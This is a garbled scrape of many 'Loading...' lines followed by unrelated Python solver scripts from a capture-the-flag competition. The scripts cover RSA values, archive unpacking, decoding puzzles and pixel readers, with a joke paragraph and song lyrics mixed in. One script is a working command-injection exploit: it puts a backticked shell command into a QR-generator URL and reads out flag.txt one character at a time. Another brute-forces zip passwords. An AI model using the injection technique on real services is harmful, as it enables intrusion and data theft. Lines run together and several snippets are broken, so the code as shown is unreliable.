Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
import numpy as np
import matplotlib.pyplot as plt
def conversion(old):
direction = {'N':1, 'S':-1, 'E': 1, 'W':-1}
new = old.replace('deg',' ').replace('\'',' ').replace('"',' ')
new = new.split()
print(new)
new_dir = new.pop()
new.extend([0,0,0])
print(new)
return (int(new[0])+int(new[1])/60.0+float(new[2])/3600.0) * direction[new_dir]
with open("message.txt","r") as f:
a = f.read()
f.close()
ai = [i for i, x in enumerate(a) if x == "["]
aj = [i+1 for i, x in enumerate(a) if x == "]"]
print(len(ai)==len(aj))
print([a[ai[b]+1:aj[b]-1] for b in range(1)])
print([a[ai[b]:aj[b]] for b in range(1)])
c = [a[ai[b]+1:aj[b]-1].replace("\\","").split(",") for b in range(len(aj))]
print(conversion(c[0][1]))
plt.scatter([conversion(c[x][0]) for x in range(len(c))], [conversion(c[x][1]) for x in range(len(c))])
plt.show()JST eval
g = globals()
for key in g:
if 'rtcp' in g[key]
return g[key]JST eval
g = globals()
for key in globals:
if 'rtcp' in g[key]:
return keyJST eval
return fadlgncrjykmbwimport requests, os, re
flag = ''
def urlencode(text):
output = ''
for char in text:
output += '%' + hex(ord(char))[2:].upper()
return output
i = 1
while '}' not in flag:
try:
payload = f"` tail -c +{i} flag.txt `"
enc = urlencode(payload)
url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=" + enc
os.system(f"wget {url} -O temp.png")
char = os.popen("zbarimg temp.png").read().split('\n')[0]
realchar = re.findall("QR-Code:(.*)", char)[0]
flag += realchar
except:
print(flag)
quit()
finally:
i += 1
print("FLAG ACQUIRED!")
print(flag)b'VERIFICATION-UpTheCuts-END\n .--.\n/.-. \'----------.\n\\\'-\' .--"--""-"-\'\n \'--\'\n\nrtcp{f1xed_pr*me-0r_low_e?}'e = 5
d = 521510298105817462010075481321301762544362612110909913365645448793275423522885671066107595604833166259347106193619699532604236722898035793244447725649637220049182110592208620254912597242924033740917610423769064620686428697166989598644754390463859642126491583723069003980094844721055470612714572451907948702378298885721230750919426578702457889134761502376394542084739222628925885435781230071537818796042630708007184021005987711343947311738115361531842801573546622485678001360398815318978830811643924771817314765077015052755152854726217480654210595392821123281255730511903972105460552658346795570059253938393822113157
p = 88761620475672281797897005732643499821690688597370440945258776182910533850401433150065043871978311565287949564292158396906865512113015114468175188982916489347656271125993359554057983487741599275948833820107889167078943493772101668339096372868672343763810610724807588466294391846588859523658456534735572626377
q = 58754030774905986805754122995310081662217884210168479550129875193424398870745444673926050610118197084042202162420044553461740174815697964254570199939394803548997633592060223756279974260864378745120001533514186672141428133398599326104981445779780014073764199910798520251506148673445046102194538255507437319319
n = 5215102981058174620100754813213017625443626121109099133656454487932754235228856710661075956048331662593471061936196995326042367228980357932444477256496372200491821105922086202549125972429240337409176104237690646206864286971669895986447543904638596421264915837230690039800948447210554706127145724519079487023930504508462885777797916915752532472831523596571484341342780877665593787078959178539369282442522815729401991936772080063808078804309866694041173404657777517753433918322041736500126265865045225739241983004392226366771900174432875800986183772576663590650132115754645829772406067103501861326445534174181231077263
t = (p-1)*(q-1) // math.gcd(q-1,p-1)
import os, zipfile
wordlist = []
with open("/home/isaac/CTFs/houseplant/wordlist.txt", 'r') as f:
data = f.read()
wordlist = data.split('\n')
def gunzip(filename):
if "gz" not in filename:
os.system(f"mv {filename} {filename}.gz")
filename = filename + ".gz"
os.system(f"gunzip {filename}")
def tar(filename):
os.system(f"tar -xvf {filename}")
if len(os.listdir('.')) > 1:
os.system(f"rm {filename}")
def zipcrack(filename):
# More complicated. Must brute force password via the wordlist.
tocrack = zipfile.ZipFile(filename)
cracked = False
for password in wordlist:
pwd = password.encode()
try:
tocrack.extractall(pwd = pwd)
cracked = True
break
except:
pass
if cracked:
os.system(f"rm {filename}")
else:
raise Exception("Was not able to crack zip.")
zipheader = bytes([0x50, 0x4b, 0x03, 0x04])
gzipheader = bytes([0x1f,0x8b])
# Tar headers vary, but we know it's tar if it's not zip or gzip.
for _ in range(1816):
ourfile = os.listdir('.')[0]
# Find out whether it's gzip, tar or zip. Then open accordingly.
with open(ourfile,'rb') as check:
first = check.read(4)
if first == zipheader:
zipcrack(ourfile)
elif first[:2] == gzipheader:
gunzip(ourfile)
else:
tar(ourfile)"""i made a rev createmap func"""
def antimap(owo,uwu):
inputs = ""
realflag = [9,4,23,8,17,1,18,0,13,7,2,20,16,10,22,12,19,6,15,21,3,14,5,11]
therealflag = [20,16,12,9,6,15,21,3,18,0,13,7,1,4,23,8,17,2,10,22,19,11,14,5]
if uwu:
for i in range(len(realflag)):
inputs += owo[realflag[i]]
else:
for i in range(len(realflag)):
inputs += owo[therealflag[i]]
print(inputs)
return inputs
"""and then figured i could skip the last stage and deal with it later so i rev the third stage"""
def rev():
zz = [157, 157, 236, 168, 160, 162, 171, 162, 165, 199, 169, 169, 160, 194, 235, 207, 227, 210, 157, 203, 227, 104, 212, 202]
finals = []
createMap(theflags0, flag, False)#44ytc3whr_040_rhw___o4uk
for i in range(len(zz)):
print(theflags0[i],end="")
finals.append(zz[i]-ord(theflags0[i]))
print(finals)iis4=o4:3hyupcygls>lt--- => h=-3si>ic:stly-pl4g-4you
---------------------4__ => ------4-------_----_----
def matrix():
dec = [
[1.6, -1.4, 1.8],
[2.2, -1.8, 1.6],
[-1 , 1 , -1]]
out = []
pp = 0
string = [37,36,-1,34,27,-7,160,237,56,58,110,44,66,93,22,143,210,49,11,33,22]
for i in range(int(len(string)/3)):
a = string[i*3:i*3+3]
for j in range(3):
pp = 0
for k,l in enumerate(a):
pp += l*dec[j][k]
out.append(int(pp))
for i in out:
print(chr(i+96),end="")<----------------------------------------------------------------->
There is such as thing as a tomcat but have you ever heard of a tomdog.
This is the most important question of our time, and unfortunately one that may never be answered by modern science.
The definition of tomcat is a male cat, yet the name for a male dog is max.
Wait no. the name for a male dog is just dog. regardless, what would happen if we were to combine a male dog with a tomcat.
Perhaps wed end up with a dog that vomits out flags, like this one rtcp should,fl5g4,b3,st1cky,or,n0t
<----------------------------------------------------------------->def conv(a):
pp = [
[(0, 0, 255), (0, 255, 255), (255, 0, 255), (255, 0, 0), (255, 255, 0), (0, 255, 0)],"t",
[(0, 255, 0), (255, 255, 0), (255, 0, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255)],"h",
[(255, 0, 0), (0, 255, 0), (255, 255, 0), (0, 0, 255), (255, 0, 255), (0, 255, 255)],"e",
[(0, 0, 255), (0, 255, 255), (255, 255, 0), (255, 0, 255), (255, 0, 0), (0, 255, 0)],"r",
[(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255)]," ",
[(0, 255, 0), (255, 255, 0), (0, 0, 255), (255, 0, 0), (0, 255, 255), (255, 0, 255)],"i",
[(0, 0, 255), (0, 255, 255), (255, 0, 255), (255, 255, 0), (255, 0, 0), (0, 255, 0)],"s",
[(0, 0, 255), (0, 255, 255), (255, 0, 255), (255, 0, 0), (0, 255, 0), (255, 255, 0)],"u",
[(255, 0, 0), (0, 255, 0), (255, 0, 255), (255, 255, 0), (0, 0, 255), (0, 255, 255)],"c",
[(255, 0, 255), (255, 0, 0), (0, 255, 0), (255, 255, 0), (0, 0, 255), (0, 255, 255)],"a",
[(255, 255, 0), (0, 0, 255), (0, 255, 255), (0, 255, 0), (255, 0, 255), (255, 0, 0)],"n",
[(0, 255, 0), (255, 0, 0), (255, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255)],"g",
[(255, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255), (0, 255, 0), (255, 0, 0)],"o",
[(255, 255, 0), (0, 0, 255), (0, 255, 0), (0, 255, 255), (255, 0, 255), (255, 0, 0)],"m",
[(255, 0, 0), (255, 0, 255), (0, 255, 0), (255, 255, 0), (0, 0, 255), (0, 255, 255)],"b",
[(0, 255, 255), (0, 0, 255), (255, 0, 255), (255, 0, 0), (0, 255, 0), (255, 255, 0)],"v",
[(0, 255, 255), (255, 0, 255), (255, 0, 0), (0, 255, 0), (0, 0, 255), (255, 255, 0)],"y",
[(255, 0, 0), (0, 255, 0), (255, 255, 0), (255, 0, 255), (0, 0, 255), (0, 255, 255)],"d",
[(255, 0, 0), (0, 255, 0), (255, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255)],"f",
[(0, 0, 0), (255, 255, 255), (255, 255, 255), (0, 0, 0), (0, 0, 0), (255, 255, 255)],".",
[(255, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255), (255, 0, 0), (0, 255, 0)],"p",
[(0, 0, 255), (255, 255, 0), (0, 255, 255), (255, 0, 255), (255, 0, 0), (0, 255, 0)],"q",
[(255, 255, 255), (0, 0, 0), (0, 0, 0), (255, 255, 255), (255, 255, 255), (0, 0, 0)],",",
[(255, 255, 0), (0, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255), (255, 0, 0)],"l",
[(0, 255, 255), (255, 0, 255), (0, 0, 255), (255, 0, 0), (0, 255, 0), (255, 255, 0)],"w",
[(0, 255, 255), (255, 0, 255), (255, 0, 0), (0, 0, 255), (0, 255, 0), (255, 255, 0)],"x",
[(0, 255, 0), (255, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 0), (255, 0, 255)],"j",
[(0, 255, 0), (255, 255, 0), (0, 0, 255), (0, 255, 255), (255, 0, 255), (255, 0, 0)],"k",
[(255, 255, 255), (128, 128, 128), (0, 0, 0), (128, 128, 128), (255, 255, 255), (0, 0, 0)],"5",
[(128, 128, 128), (255, 255, 255), (0, 0, 0), (128, 128, 128), (255, 255, 255), (0, 0, 0)],"4",
[(128, 128, 128), (255, 255, 255), (0, 0, 0), (128, 128, 128), (0, 0, 0), (255, 255, 255)],"3",
[(128, 128, 128), (0, 0, 0), (255, 255, 255), (0, 0, 0), (128, 128, 128), (255, 255, 255)],"1",
[(0, 0, 0), (128, 128, 128), (255, 255, 255), (0, 0, 0), (128, 128, 128), (255, 255, 255)],"0",
]
if a not in pp:
print(a)
int("lol")
else:
return pp[pp.index(a)+1]
def rainbow():
from PIL import Image #104 x 34
im = Image.open('output.png', 'r')
pix_val = list(im.getdata())
var = []
cc = ""
e = [bytes((x,)) for y in pix_val for x in y]
for i in range(10):
for j in range(50):
var.append([
pix_val[210+j*2+(i*3+0)*104],pix_val[210+j*2+(i*3+0)*104+1],
pix_val[210+j*2+(i*3+1)*104],pix_val[210+j*2+(i*3+1)*104+1],
pix_val[210+j*2+(i*3+2)*104],pix_val[210+j*2+(i*3+2)*104+1]])
for i in var:
cc += conv(i)
print(cc)
rainbow()
We're no strangers to love
You know the rules and so do ...
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you"from PIL import Image
from Crypto.Util.number import long_to_bytes
import os, re
from numpy import *
flag = zeros((300,300,3), dtype='uint8')
files = os.listdir("chall")
files = list(filter(lambda x: 'jpg' in x, files))
fullfiles = list(map(lambda x: 'chall/' + x, files))
jpg = bytes([0xff,0xd8,0xff])
positions = []
for file in files:
pos = long_to_bytes(int(re.findall("(.*).jpg", file)[0])).decode().split()
pos = list(map(int, pos))
positions.append(pos)
for i,pos in enumerate(positions):
img = Image.open(fullfiles[i])
img = array(img)
pixel = img[0,0]
flag[pos[0]][pos[1]] = pixel
dec = Image.fromarray(flag)
dec.save("flag.jpg")
